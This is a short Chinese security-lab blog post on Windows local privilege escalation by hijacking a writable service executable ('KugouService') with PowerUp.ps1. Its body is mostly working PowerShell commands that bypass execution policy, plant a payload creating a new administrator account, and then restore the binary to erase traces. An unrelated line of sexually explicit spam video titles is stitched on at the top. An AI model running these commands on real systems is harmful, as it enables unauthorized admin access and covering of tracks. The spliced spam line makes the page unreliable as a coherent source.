老赵揉搓苏清雅双乳的视频_老头老太性行交视频_老同学3免费集_老师没戴套子C了我一天视频_老师的丰满大乳奶_老师把我添高潮了A片潘金莲

古語有云：“學如逆水行舟，不進則退。”面對如今隨時都在變化的網絡安全環境更是如此。為此，創信華通微信公眾號特開設“創安實驗室專欄”，以記錄創信華通創安實驗室在技術上的探索，加強同行間的交流，相互學習，共同進步。

?+

原理：利用PowerUp.ps1生成一個可以執行我們構造的惡意命令的同名可執行程序并替換原本的可執行程序。主程序執行時調用同名可執行程序來執行我們構造的惡意命令。

查找具有可寫的可執行文件：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

查看程序對用戶的權限：icacls "D:\tools\KGMusic\9.1.44.23567\service.exe"

利用可執行文件提權，向可寫程序中寫入創建用戶的payload：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Write-ServiceEXE -ServiceName KugouService -Username jin -Password jin -Verbose}"

等待服務重啟或對應程序再次運行：

可以看到此時新建了一個管理員權限的用戶jin

清理痕跡：powershell.exe -Version 2 -nop -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Restore-ServiceEXE -ServiceName KugouService}"

創安實驗室